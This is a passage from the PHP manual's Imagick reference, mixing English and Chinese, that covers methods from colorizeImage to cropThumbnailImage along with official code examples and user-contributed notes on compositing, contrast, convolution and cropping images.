ImagickPixel object containing the fill color

fuzz

The amount of fuzz. For example, set fuzz to 10 and the color red at intensities of 100 and 102 respectively are now interpreted as the same color for the purposes of the floodfill.

bordercolor

ImagickPixel object containing the border color

x

X start position of the floodfill

y

Y start position of the floodfill

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

更新日志

版本 | 说明
PECL imagick 2.1.0 | Now allows a string representing the color as first and third parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

memmie at lenglet dot name 29-Apr-2014 09:39
Imagick::colorFloodFillImage is depreciated. You should use Imagick::paintFloodfillImage (replaced by Imagick::floodFillPaintImage in ImageMagick 6.3.8)


Blends the fill color with the image

  • ? Imagick::colorFloodfillImage
  • Imagick::colorMatrixImage ?
  • PHP Manual
  • Imagick
  • Blends the fill color with the image

Imagick::colorizeImage

(PECL imagick 2, PECL imagick 3)

Imagick::colorizeImage — Blends the fill color with the image

说明

public Imagick::colorizeImage(mixed $colorize, mixed $opacity, bool $legacy = false): bool

Blends the fill color with each pixel in the image.

参数

colorize

ImagickPixel object or a string containing the colorize color

opacity

ImagickPixel object or an float containing the opacity value. 1.0 is fully opaque and 0.0 is fully transparent.

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

更新日志

版本 | 说明
PECL imagick 2.1.0 | Now allows a string representing the color as the first parameter and a float representing the opacity value as the second parameter. Previous versions allow only an ImagickPixel objects.

示例

Example #1 Imagick::colorizeImage()

<?php
function colorizeImage($imagePath, $color, $opacity) {
$imagick = new \Imagick(realpath($imagePath));
$opacity = $opacity / 255.0;
$opacityColor = new \ImagickPixel("rgba(0, 0, 0, $opacity)");
$imagick->colorizeImage($color, $opacityColor);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

adrien at unik dot solutions 01-Dec-2022 01:09
The solution published by "olav at redwall dot ee " was adding a black surround outside each non-transparent shape.

Here is my improved version :

<?php
public function colorize($color, $alpha = 1)
{
    $geometry = $this->getImageGeometry();
    $width = $geometry['width'];
    $height = $geometry['height'];

    $draw = new ImagickDraw;
    $draw->setFillColor($color);
    $draw->rectangle(0, 0, $width, $height);

    $temporary = new Imagick;
    $temporary->setBackgroundColor(new ImagickPixel('transparent'));
    $temporary->newImage($width, $height, new ImagickPixel('transparent'));
    $temporary->setImageFormat('png32');
    $temporary->drawImage($draw);
    $temporary->compositeImage($this, Imagick::COMPOSITE_COPYOPACITY, 0, 0);

    $this->setImageArtifact('compose:args', ($alpha * 100) . '%,100%');
    $this->compositeImage($temporary, Imagick::COMPOSITE_DISSOLVE, 0, 0);
}
?>
Alex Lokhman [VisioN] 22-Mar-2014 02:35
If you're looking for a solution to fill the image with a solid color, preserving background transparency, here is one way:

<?php
$im = new Imagick('image.png');
$im->setImageAlphaChannel(Imagick::ALPHACHANNEL_EXTRACT);
$im->setImageBackgroundColor('color');
$im->setImageAlphaChannel(Imagick::ALPHACHANNEL_SHAPE);
$im->writeImage('output.png');
$im->destroy();
?>
olav at redwall dot ee 18-Dec-2013 12:24
To improve upon "php at lfbittencourt dot com"'s solution, this one blends the composited color, and takes opacity into account as well.

<?php
class YourImagick extends Imagick
{
    public function colorize($color, $alpha = 1, $composite_flag = Imagick::COMPOSITE_COLORIZE)
    {
        $draw = new ImagickDraw();

        $draw->setFillColor($color);

        $geometry = $this->getImageGeometry();
        $width = $geometry['width'];
        $height = $geometry['height'];

        $draw->rectangle(0, 0, $width, $height);

        $temporary = new Imagick();
        $temporary->setBackgroundColor(new ImagickPixel('transparent'));
        $temporary->newImage($width, $height, new ImagickPixel('transparent'));
        $temporary->setImageFormat('png32');
        $temporary->drawImage($draw);

        $alphaChannel = $this->clone();
        $alphaChannel->setImageAlphaChannel(Imagick::ALPHACHANNEL_EXTRACT);
        $alphaChannel->negateImage(false, Imagick::CHANNEL_ALL);
        $this->setImageClipMask($alphaChannel);

        $clone = $this->clone();
        $clone->compositeImage($temporary, $composite_flag, 0, 0);
        $clone->setImageOpacity($alpha);

        $this->compositeImage($clone, Imagick::COMPOSITE_DEFAULT, 0, 0);
    }
}
?>
php at lfbittencourt dot com 11-May-2012 01:26
Do you want a color overlay with TRUE opacity control? Try this:

<?php

class YourImagick extends Imagick
{
    public function colorize($color, $alpha = 1)
    {
        $draw = new ImagickDraw();

        $draw->setFillColor($color);

        if (is_float($alpha)) {
            $draw->setFillAlpha($alpha);
        }

        $geometry = $this->getImageGeometry();
        $width = $geometry['width'];
        $height = $geometry['height'];

        $draw->rectangle(0, 0, $width, $height);

        $this->drawImage($draw);
    }
}

?>

How to use:

<?php

$imagick = new YourImagick('example.png');

$imagick->colorize('#ffcc00', 0.35);

header('Content-type: image/png');

echo $source;

?>
talkol at gmail dot com 28-Dec-2011 07:19
When you're using an image with an alpha channel (for example a transparent png), a value of 1.0 will return a completely transparent image, but a value of 1 works just fine.
lsmartinez at gmail dot com 08-Apr-2009 09:42
simplest example

<?php
$nombre = '001-4-0043.jpg';
$img = new Imagick($nombre);
$img->negateImage(false);
//$pixblu = new ImagickPixel('#000040');
$img->colorizeImage('#0000b0',1.0);
header('content-type: image/jpeg');
echo $img;
?>


Apply color transformation to an image

  • ? Imagick::colorizeImage
  • Imagick::combineImages ?
  • PHP Manual
  • Imagick
  • Apply color transformation to an image

Imagick::colorMatrixImage

(PECL imagick 3 >= 3.3.0)

Imagick::colorMatrixImage — Apply color transformation to an image

说明

public Imagick::colorMatrixImage(array $color_matrix = Imagick::CHANNEL_DEFAULT): bool

Apply color transformation to an image. The method permits saturation changes, hue rotation, luminance to alpha, and various other effects. Although variable-sized transformation matrices can be used, typically one uses a 5x5 matrix for an RGBA image and a 6x6 for CMYKA (or RGBA with offsets). The matrix is similar to those used by Adobe Flash except offsets are in column 6 rather than 5 (in support of CMYKA images) and offsets are normalized (divide Flash offset by 255)

参数

color_matrix

返回值

成功时返回 true。

示例

Example #1 Imagick::colorMatrixImage()

<?php
function colorMatrixImage($imagePath, $colorMatrix) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->setImageOpacity(1);

//A color matrix should look like:
// $colorMatrix = [
// 1.5, 0.0, 0.0, 0.0, 0.0, -0.157,
// 0.0, 1.0, 0.5, 0.0, 0.0, -0.157,
// 0.0, 0.0, 1.5, 0.0, 0.0, -0.157,
// 0.0, 0.0, 0.0, 1.0, 0.0, 0.0,
// 0.0, 0.0, 0.0, 0.0, 1.0, 0.0,
// 0.0, 0.0, 0.0, 0.0, 0.0, 1.0
// ];

$background = new \Imagick();
$background->newPseudoImage($imagick->getImageWidth(), $imagick->getImageHeight(), "pattern:checkerboard");

$background->setImageFormat('png');

$imagick->setImageFormat('png');
$imagick->colorMatrixImage($colorMatrix);

$background->compositeImage($imagick, \Imagick::COMPOSITE_ATOP, 0, 0);

header("Content-Type: image/png");
echo $background->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Combines one or more images into a single image

  • ? Imagick::colorMatrixImage
  • Imagick::commentImage ?
  • PHP Manual
  • Imagick
  • Combines one or more images into a single image

Imagick::combineImages

(PECL imagick 2, PECL imagick 3)

Imagick::combineImages — Combines one or more images into a single image

说明

public Imagick::combineImages(int $channelType): Imagick

Combines one or more images into a single image. The grayscale value of the pixels of each image in the sequence is assigned in order to the specified channels of the combined image. The typical ordering would be image 1 => Red, 2 => Green, 3 => Blue, etc.

参数

channelType

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Adds a comment to your image

  • ? Imagick::combineImages
  • Imagick::compareImageChannels ?
  • PHP Manual
  • Imagick
  • Adds a comment to your image

Imagick::commentImage

(PECL imagick 2, PECL imagick 3)

Imagick::commentImage — Adds a comment to your image

说明

public Imagick::commentImage(string $comment): bool

Adds a comment to your image.

参数

comment

The comment to add

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Using Imagick::commentImage():

Commenting an image and retrieving the comment:

<?php

/* Create new Imagick object */
$im = new imagick();

/* Create an empty image */
$im->newImage(100, 100, new ImagickPixel("red"));

/* Add comment to the image */
$im->commentImage("Hello World!");

/* Display the comment */
echo $im->getImageProperty("comment");

?>

User Contributed Notes

nick_khor at hotmail dot com 02-Sep-2020 02:55
This function only support JPEG file.

https://github.com/Imagick/imagick/issues/124#issuecomment-226942140


Returns the difference in one or more images

  • ? Imagick::commentImage
  • Imagick::compareImageLayers ?
  • PHP Manual
  • Imagick
  • Returns the difference in one or more images

Imagick::compareImageChannels

(PECL imagick 2, PECL imagick 3)

Imagick::compareImageChannels — Returns the difference in one or more images

说明

public Imagick::compareImageChannels(Imagick $image, int $channelType, int $metricType): array

Compares one or more images and returns the difference image.

参数

image

Imagick object containing the image to compare.

channelType

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

metricType

One of the metric type constants.

返回值

Array consisting of new_wand and distortion.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum bounding region between images

  • ? Imagick::compareImageChannels
  • Imagick::compareImages ?
  • PHP Manual
  • Imagick
  • Returns the maximum bounding region between images

Imagick::compareImageLayers

(PECL imagick 2, PECL imagick 3)

Imagick::compareImageLayers — Returns the maximum bounding region between images

说明

public Imagick::compareImageLayers(int $method): Imagick

Compares each image with the next in a sequence and returns the maximum bounding region of any pixel differences it discovers. 此方法在Imagick基于ImageMagick 6.2.9以上版本编译时可用。

参数

method

One of the layer method constants.

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Using Imagick::compareImageLayers()

Comparing image layers

<?php
/* create new imagick object */
$im = new Imagick("test.gif");

/* optimize the image layers */
$result = $im->compareImageLayers(imagick::LAYERMETHOD_COALESCE);

/* work on the $result */
?>

参见

  • Imagick::optimizeImageLayers() - Removes repeated portions of images to optimize
  • Imagick::writeImages() - Writes an image or image sequence
  • Imagick::writeImage() - 把图片写入指定的文件

User Contributed Notes

There are no user contributed notes for this page.


Compares an image to a reconstructed image

  • ? Imagick::compareImageLayers
  • Imagick::compositeImage ?
  • PHP Manual
  • Imagick
  • Compares an image to a reconstructed image

Imagick::compareImages

(PECL imagick 2, PECL imagick 3)

Imagick::compareImages — Compares an image to a reconstructed image

说明

public Imagick::compareImages(Imagick $compare, int $metric): array

Returns an array containing a reconstructed image and the difference between images.

参数

compare

An image to compare to.

metric

Provide a valid metric type constant. Refer to this list of metric constants.

返回值

Returns an array containing a reconstructed image and the difference between images.

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Using Imagick::compareImages():

Compare images and display the reconstructed image

<?php

$image1 = new imagick("image1.png");
$image2 = new imagick("image2.png");

$result = $image1->compareImages($image2, Imagick::METRIC_MEANSQUAREERROR);
$result[0]->setImageFormat("png");

header("Content-Type: image/png");
echo $result[0];

?>

User Contributed Notes

info at celeste-design dot de 12-Aug-2014 02:58
If you get the following non-descriptive error message:

Uncaught exception 'ImagickException' with message 'Compare images failed'

Check your picture dimensions! i compared a 21x20 png to a 20x20 png which resulted in that error. Took me forever to figure out that the dimensions have to be exactly the same.
Tim K and Sam M @netflix 01-May-2014 06:09
The *Absolute Error* metric is not listed as an available metric constant. However, you can still use it if needed by passing the internal constant definition for AE which is 1. This is useful when you wish to compare using a desired fuzz factor. Example:

<?php
// init the image objects
$image1 = new imagick();
$image2 = new imagick();

// set the fuzz factor (must be done BEFORE reading in the images)
$image1->SetOption('fuzz', '2%');

// read in the images
$image1->readImage("php_step29_actual.png");
$image2->readImage("php_step29_correct.png");

// compare the images using METRIC=1 (Absolute Error)
$result = $image1->compareImages($image2, 1);

// print out the result
echo "The image comparison 2% Fuzz factor is: " . $result[1];
?>


把一张图合并到一张图

  • ? Imagick::compareImages
  • Imagick::__construct ?
  • PHP Manual
  • Imagick
  • 把一张图合并到一张图

Imagick::compositeImage

(PECL imagick 2, PECL imagick 3)

Imagick::compositeImage — 把一张图合并到一张图

说明

public Imagick::compositeImage(
Imagick $composite_object,
int $composite,
int $x,
int $y,
int $channel = Imagick::CHANNEL_DEFAULT
): bool

以指定的偏移量（offset）将一幅图像合成到另一幅图像上。组合算法所需的任何额外参数都应传递给 setImageArtifact，其中"compose:args"作为第一个参数，数据作为第二个参数。

参数

composite_object

用于合并的图片的Imagick对象

composite

合并操作，定义操作常量。 具体请查看 合并操作常量列表

x

相对图像顶点左上位置（0,0）的横坐标

y

相对图像顶点左上位置（0,0）的纵坐标

channel

通过传入一个通道常量，来开启通道模式。为了支持多个通道，可以通过二进制运算的操作来合并多个通道常量。（Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators）可以参考这个列表 通道常量列表.

返回值

成功时返回 true。

示例

Example #1 使用 Imagick::compositeImage():

使用"mathematics"组合方法合成两个图像

<?php

// 等同于运行命令
// convert src1.png src2.png -compose mathematics -define compose:args="1,0,-0.5,0.5" -composite output.png

$src1 = new \Imagick("./src1.png");
$src2 = new \Imagick("./src2.png");

$src1->setImageVirtualPixelMethod(Imagick::VIRTUALPIXELMETHOD_TRANSPARENT);
$src1->setImageArtifact('compose:args', "1,0,-0.5,0.5");
$src1->compositeImage($src2, Imagick::COMPOSITE_MATHEMATICS, 0, 0);
$src1->writeImage("./output.png");

?>

参见

  • Imagick::setImageArtifact() - Set image artifact

User Contributed Notes

elizapinchley at google dot com 10-Jan-2021 11:16
There has been changes to Imagick constants in new version. Please read new list of constants like this.

<?php

$img = new \Imagick();
$reflection_class = new ReflectionClass($img);

die(var_dump($reflection_class->getConstants()));

?>
Iddles 05-Jul-2011 10:01
To copy the alpha channel from one image to another, you can do the following:

<?php

$img1 = new Imagick( "image1.png" );
$img2 = new Imagick( "image2.png" );

$img1->compositeImage( $img2, imagick::COMPOSITE_COPYOPACITY, 0, 0 );

header('Content-type: image/png');
echo $img1;

?>
giso at connectholland dot nl 20-Jan-2010 08:30
You might need to set the colorspace the same when composing two images over each other

<?php
//Creating two Imagick object
$first = new Imagick('first.jpg');
$second = new Imagick('second.jpg');

// Set the colorspace to the same value
$first->setImageColorspace($second->getImageColorspace() );

//Second image is put on top of the first
$first->compositeImage($second, $second->getImageCompose(), 5, 5);

//new image is saved as final.jpg
$first->writeImage('final.jpg');
?>
m dot roszka at textend dot net 12-Feb-2008 06:55
Here is an example on how to compose two images into a single one. The Imagick class utilises the exception handling model introduced in PHP5 and thus we will do that as well. Let's presume, that we have a directory in our filesystem, which contains our program and the two images we want to operate on.

<?php
try
{
    // Let's check whether we can perform the magick.
    if (TRUE !== extension_loaded('imagick'))
    {
        throw new Exception('Imagick extension is not loaded.');
    }

    // This check is an alternative to the previous one.
    // Use the one that suits you better.
    if (TRUE !== class_exists('Imagick'))
    {
        throw new Exception('Imagick class does not exist.');
    }

    // Let's find out where we are.
    $dir = dirname(__FILE__);

    // Let's read the images.
    $glasses = new Imagick();
    if (FALSE === $glasses->readImage($dir . '/glasses.png'))
    {
        throw new Exception();
    }

    $face = new Imagick();
    if (FALSE === $face->readImage($dir . '/face.jpg'))
    {
        throw new Exception();
    }

    // Let's put the glasses on (10 pixels from left, 20 pixels from top of face).
    $face->compositeImage($glasses, Imagick::COMPOSITE_DEFAULT, 10, 20);

    // Let's merge all layers (it is not mandatory).
    $face->flattenImages();

    // We do not want to overwrite face.jpg.
    $face->setImageFileName($dir . '/face_and_glasses.jpg');

    // Let's write the image.
    if  (FALSE == $face->writeImage())
    {
        throw new Exception();
    }
}

catch (Exception $e)
{
    echo 'Caught exception: ' . $e->getMessage() . "\n";
}

exit(0);
?>
Also a couple more words on the Imagick::COMPOSITE_DEFAULT argument. The images we are composing together are separate layers. Not only can we put them in specific order, but we can also choose the way we want them to interfere with each other. And here comes the second argument of the compositeImage method. It can be given either as a constant or as the integer value of that constant. You can use the reflection API of PHP5 to get the list of them.

<?php
Reflection::export(new ReflectionClass('Imagick'));
?>

Just look for COMPOSITE_* constants in the "Constants" section.


The Imagick constructor

  • ? Imagick::compositeImage
  • Imagick::contrastImage ?
  • PHP Manual
  • Imagick
  • The Imagick constructor

Imagick::__construct

(PECL imagick 2, PECL imagick 3)

Imagick::__construct — The Imagick constructor

说明

public Imagick::__construct(mixed $files = ?)

Creates an Imagick instance for a specified image or set of images.

参数

files

The path to an image to load or an array of paths. Paths can include wildcards for file names, or can be URLs.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

divinity76 at gmail dot com 22-Apr-2019 07:55
if you need to create an image from a string containing the image binary, use readImageBlob, eg

<?php
$imagick = new Imagick();
$imagick->readImageBlob($str);
?>

likewise if you need to create an image from a file handle (without having the filepath), use readImageFile()
Jerome 04-Dec-2013 11:05
you can use PDF page as image. To do that, install ghostscript libraries.
IMagick use ghostscript to read PDF page.

<?php
$myurl = '/pdf/mypdf.pdf';
$image = new Imagick(realpath($myurl).'[0]'); //[0] indicate the number of the wanted page
$image->setResolution( 300, 300 );
$image->setImageFormat( "png" );
$image->writeImage(realpath('./mypdf.png'));
?>
andyearnshaw at do-not-spam-mygmail dot com 13-Mar-2013 10:13
If you try and load an ICO file whose extension isn't .ico, you'll get an error going along the lines of no delegate existing for the supplied image's format.  The can occur, for example, if you're using a temporary file.

<?php
$tmp = tempnam('cache/images', 'ico_');

if (copy('http://remote.url/favicon.ico', $tmp)) {
    $ico = new Imagick($tmp);  // <-- ERROR!
}
?>

Your first thought might be to rename your temporary file's extension to .ico, but I decided to try something that works on the command line―prefix the file name with 'ico:'

<?php
$tmp = tempnam('cache/images', 'ico_');

if (copy('http://remote.url/favicon.ico', $tmp)) {
    $ico = new Imagick("ico:$tmp");  // <-- Works great!
}
?>
martin at lks dot com 23-May-2012 04:29
If you are using windows imagemagick, at leat in my case, you have to include the full path of the file, including the 'c:' at the beginning. If you don't know for sure the way that the filename is going to come, you can use realpath() function to normalize it:

<?php
    $incoming_file = '/Users/John/Desktop/file_loco.jpg';
    $img = new Imagick(realpath($incoming_file));
    // realpath() will convert '/Users/John/Desktop/file_loco.jpg' to 'C:\Users\John\Desktop\file_loco.jpg'
    // and ImageMagick will have no trouble when loading
?>


Change the contrast of the image

  • ? Imagick::__construct
  • Imagick::contrastStretchImage ?
  • PHP Manual
  • Imagick
  • Change the contrast of the image

Imagick::contrastImage

(PECL imagick 2, PECL imagick 3)

Imagick::contrastImage — Change the contrast of the image

说明

public Imagick::contrastImage(bool $sharpen): bool

Enhances the intensity differences between the lighter and darker elements of the image. Set sharpen to a value other than 0 to increase the image contrast otherwise the contrast is reduced.

参数

sharpen

The sharpen value

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::contrastImage()

<?php
function contrastImage($imagePath, $contrastType) {
$imagick = new \Imagick(realpath($imagePath));
if ($contrastType != 2) {
$imagick->contrastImage($contrastType);
}

header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

removespam dot roland at tannerritchie dot com 12-Feb-2015 07:14
Both xyking and quickshiftin include errors in their comments. xyking's error is in looping through negative numbers. quickshifting is incorrect in stating that 0 *increases* contrast (it does not - it decreases it).

Here is a (tested, working) method to increment or decrement contrast:
<?php
class Images {
public function contrastImage($contrast, $imagePath){

$this->image = new Imagick();
$this->image->readImage($imagePath);

 if ($contrast > 0){
                for ($i = 1; $i < $contrast; $i++){
                    $this->image->contrastImage(1);
                }
            }else if ($contrast <= 0) {

                for ($i = 0; $i > $contrast; $i--) {

                    $this->image->contrastImage(0);
                }
            }
     }
}
?>
quickshiftin at gmail dot com 07-Nov-2014 09:24
xyking's comment is wrong so be careful if you read it. You pass a value of 0 to *increase* the contrast.
xyking 16-Apr-2010 08:14
Tip:
<?php
$image->contrastImage(1); //Increase contrast once
$image->contrastImage(1); //Increase contrast more
$image->contrastImage(1); //Increase contrast even more

$image->contrastImage(0); //Decrease contrast once
$image->contrastImage(0); //Decrease contrast more
$image->contrastImage(0); //Decrease contrast even more

//This could be made into a function like this:
public function contrast($level) {
        $level = (int)$level;
        if ($level < -10) {
            $level = -10;
        } else if ($level > 10) {
            $level = 10;
        }
        if ($level > 0) {
            for ($i = 0; $i < $level; $i++) {
                $this->image->contrastImage(1);
            }
        } else if ($level < 0) {
            for ($i = $level; $i > 0; $i--) {
                $this->image->contrastImage(0);
            }
        }
    }
?>


Enhances the contrast of a color image

  • ? Imagick::contrastImage
  • Imagick::convolveImage ?
  • PHP Manual
  • Imagick
  • Enhances the contrast of a color image

Imagick::contrastStretchImage

(PECL imagick 2, PECL imagick 3)

Imagick::contrastStretchImage — Enhances the contrast of a color image

说明

public Imagick::contrastStretchImage(float $black_point, float $white_point, int $channel = Imagick::CHANNEL_DEFAULT): bool

Enhances the contrast of a color image by adjusting the pixels color to span the entire range of colors available. 此方法在Imagick基于ImageMagick 6.2.9以上版本编译时可用。

参数

black_point

The black point.

white_point

The white point.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Imagick::CHANNEL_ALL. Refer to this list of channel constants.

返回值

成功时返回 true。

User Contributed Notes

SkepticaLee 11-Jun-2014 10:22
The black and white points refer to the absolute number of pixels. In the following example a coloured image is first desaturated (turned into a grey scale image) and then the darkest 90% of pixels are turned black, the brightest 5% are made white, and those between 90% and 95% are grey-scaled:

<?php
$im = new Imagick ("some_image.jpg");
list ($width, $height) = array_values ($im->getImageGeometry ());
$im->modulateImage (100, 0, 100);
$im->contrastStretchImage ($width * $height * 0.90, $width * $height * 0.95);
$im->writeImage ("temp.jpg");
echo "<img src=\"temp.jpg\">";
?>
SkepticaLee 21-Feb-2014 06:47
Trying to figure out what values the black and white points can have and what their effects are nearly drove me around the bend. However, this works:

<?php
$width = 480;
$height = 360;
$mask = new Imagick ();
$mask->newImage ($width, $height, "black");
$draw = new ImagickDraw ();
$draw->setFillColor ("white");
$draw->ellipse ($width / 2, $height / 2, $width * 5 / 12, $height * 5 / 12, 0, 360);
$mask->drawImage ($draw);
$mask->blurImage (0, 50);
$mask->contrastStretchImage (10, 125000);
$mask->writeImage ("mask.png");
?>

The result will be a vignette mask with the pixels in the corner being pure black, and the ones in the middle pure white (which is not the case if the line is commented out). Reducing the white value to, say, 100, turns most of the grey pixels white.


Applies a custom convolution kernel to the image

  • ? Imagick::contrastStretchImage
  • Imagick::count ?
  • PHP Manual
  • Imagick
  • Applies a custom convolution kernel to the image

Imagick::convolveImage

(PECL imagick 2, PECL imagick 3)

Imagick::convolveImage — Applies a custom convolution kernel to the image

说明

public Imagick::convolveImage(array $kernel, int $channel = Imagick::CHANNEL_DEFAULT): bool

Applies a custom convolution kernel to the image.

参数

kernel

The convolution kernel

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::convolveImage()

<?php
function convolveImage($imagePath, $bias, $kernelMatrix) {
$imagick = new \Imagick(realpath($imagePath));
//$edgeFindingKernel = [-1, -1, -1, -1, 8, -1, -1, -1, -1,];
$imagick->setImageBias($bias * \Imagick::getQuantum());
$imagick->convolveImage($kernelMatrix);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

ahmed at zigzapps dot com 04-Nov-2019 12:57
The provided example is wrong. Here's a correct sample:

$matrix = [[1,-1,1],[-1,1,-1],[1,-1,1]];
$kernel = \ImagickKernel::fromMatrix($matrix);

$imagick = new Imagick();
$imagick->readimage($file.'/z.png');
$imagick->convolveImage ($kernel);
$imagick->writeimage('convolve.png');
$imagick->clear();
$imagick->destroy();
peter at musicalsaw dot com 25-Sep-2013 10:22
Example of convolveImage:

<?php
// run an edge detection filter on an image
$image = new imagick( "diana.png" );
$edgeArray = array(-1,-1,-1,-1,8,-1,-1,-1,-1);
$image->convolveImage ($edgeArray);
$image->thresholdImage(1);
header('Content-type: image/png');
echo $image;
?>


Get the number of images

  • ? Imagick::convolveImage
  • Imagick::cropImage ?
  • PHP Manual
  • Imagick
  • Get the number of images

Imagick::count

(PECL imagick 3 >= 3.3.0)

Imagick::count — Get the number of images

说明

public Imagick::count(int $mode = 0): int

Returns the number of images.

参数

mode

An unused argument. Currently there is a non-particularly well defined feature in PHP where calling count() on a countable object might (or might not) require this method to accept a parameter. This parameter is here to be conformant with the interface of countable, even though the param is not used.

返回值

Returns the number of images.

User Contributed Notes

There are no user contributed notes for this page.


截图图片的一块区域

  • ? Imagick::count
  • Imagick::cropThumbnailImage ?
  • PHP Manual
  • Imagick
  • 截图图片的一块区域

Imagick::cropImage

(PECL imagick 2, PECL imagick 3)

Imagick::cropImage — 截图图片的一块区域

说明

public Imagick::cropImage(
int $width,
int $height,
int $x,
int $y
): bool

截图图片的一块区域

参数

width

截图的宽度

height

截图的高度

x

裁剪区域左上角的 X 轴坐标（以原图的左上角为原点）

y

裁剪区域左上角的 X 轴坐标（以原图的左上角为原点）

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::cropImage()

<?php
function cropImage($imagePath, $startX, $startY, $width, $height) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->cropImage($width, $height, $startX, $startY);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

olav at schettler dot net 30-Mar-2016 08:06
Here is a simple function to create a thumbnail. It accepts an additional parameter to set the focus point of the generated thumbnail:

<?php
function thumbnail($image, $new_w, $new_h, $focus = 'center')
{
    $w = $image->getImageWidth();
    $h = $image->getImageHeight();

    if ($w > $h) {
        $resize_w = $w * $new_h / $h;
        $resize_h = $new_h;
    }
    else {
        $resize_w = $new_w;
        $resize_h = $h * $new_w / $w;
    }
    $image->resizeImage($resize_w, $resize_h, Imagick::FILTER_LANCZOS, 0.9);

    switch ($focus) {
        case 'northwest':
            $image->cropImage($new_w, $new_h, 0, 0);
            break;

        case 'center':
            $image->cropImage($new_w, $new_h, ($resize_w - $new_w) / 2, ($resize_h - $new_h) / 2);
            break;

        case 'northeast':
            $image->cropImage($new_w, $new_h, $resize_w - $new_w, 0);
            break;

        case 'southwest':
            $image->cropImage($new_w, $new_h, 0, $resize_h - $new_h);
            break;

        case 'southeast':
            $image->cropImage($new_w, $new_h, $resize_w - $new_w, $resize_h - $new_h);
            break;
    }
}
?>
oxxido at gmail dot com 13-Apr-2015 05:58
I have a function that takes an image, resize and crop it, and save it as normal, then resize it again and crop it again to create the thumbnail. The numbers of the second crop were WAY off, and the calculations were perfect, the problem, was the second crop wasn't resetting the imagePage, so if you try to crop the same image twice, it will be a good idea to reset it first:
<?php
$thumb = new Imagick($file)
$thumb->resizeImage($r_w1,$r_h1,Imagick::FILTER_CATROM,0.9, false);
$thumb->cropImage($w1,$h1,$l1,$t1);
$thumb->writeImage($destinationPath.'/'.$fileName);

$thumb->resizeImage($r_w2,$r_h2,Imagick::FILTER_CATROM,0.9, false);
$thumb->setImagePage(0, 0, 0, 0);
$thumb->cropImage($w2,$h2,$l2,$t2);
$thumb->writeImage($destinationPath.'/'.$fileNameThumb);

?>

BTW, i needed perfect dimentions so i had to set the "bestfit" to false.
ElPadre 05-Nov-2010 08:55
Actually, the Imagick::setImagePage(0,0,0,0) is also handy with jpgs and pngs, if you plan to do any more changes on the cropped image that involves positioning and/or gravity (I created a script that does crop, face blur and watermarking in one go, and had a hell of a time determining why the blurs and the watermark text never showed up...).
Christian Dehning 09-Apr-2010 03:57
When cropping gif-images (I had no problems with jpg and png images), the canvas is not removed. Please run the following command on the cropped gif, to remove the blank space:

$im->setImagePage(0, 0, 0, 0);


创建缩略图

  • ? Imagick::cropImage
  • Imagick::current ?
  • PHP Manual
  • Imagick
  • 创建缩略图

Imagick::cropThumbnailImage

(PECL imagick 2, PECL imagick 3)

Imagick::cropThumbnailImage — 创建缩略图

说明

public Imagick::cropThumbnailImage(int $width, int $height, bool $legacy = false): bool

首先将图片放大或者缩小，然后从图片的中间裁剪到指定的的大小。

参数

width

缩略图的宽

height

缩略图的高

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

sonsandsons at gmail dot com 29-Nov-2011 10:01
It's worth noting that using cropThumbnailImage can appear to give undesired results if you're using .gif image formats. If you are using .gif's, you'll need to compliment this function with a removal of the canvas.

<?php

//instantiate the image magick class
$image = new Imagick($image_path);

//crop and resize the image
$image->cropThumbnailImage(100,100);

//remove the canvas
$image->setImagePage(0, 0, 0, 0);

?>
martijn at elicit dot nl 03-Jun-2010 05:57
In my opinion this function is not working as expected, tested for imagemagick version 6.3.7

As described above, the function returns an image with a fixed height and a variable width. Here's a fix that will return a cropped thumbnail with the defined dimensions, without variations in the dimensions.

<?php
// define widescreen dimensions
$width = 160;
$height = 90;

// load an image
$i = new Imagick("your image file");
// get the current image dimensions
$geo = $i->getImageGeometry();

// crop the image
if(($geo['width']/$width) < ($geo['height']/$height))
{
    $i->cropImage($geo['width'], floor($height*$geo['width']/$width), 0, (($geo['height']-($height*$geo['width']/$width))/2));
}
else
{
    $i->cropImage(ceil($width*$geo['height']/$height), $geo['height'], (($geo['width']-($width*$geo['height']/$height))/2), 0);
}
// thumbnail the image
$i->ThumbnailImage($width,$height,true);

// save or show or whatever the image
$i->setImageFormat("png");
header("Content-Type: image/png");
exit($i);
?>
benford at bluhelix dot com 11-Jun-2009 02:14
I found a relevant posting complete with demo code at this site:
http://valokuva.org/?p=8

Sample code goes like this:
<?php
/* Read the image */
$im = new imagick( "test.png" );
/* create the thumbnail */
$im->cropThumbnailImage( 80, 80 );
/* Write to a file */
$im->writeImage( "th_80x80_test.png" );
?>

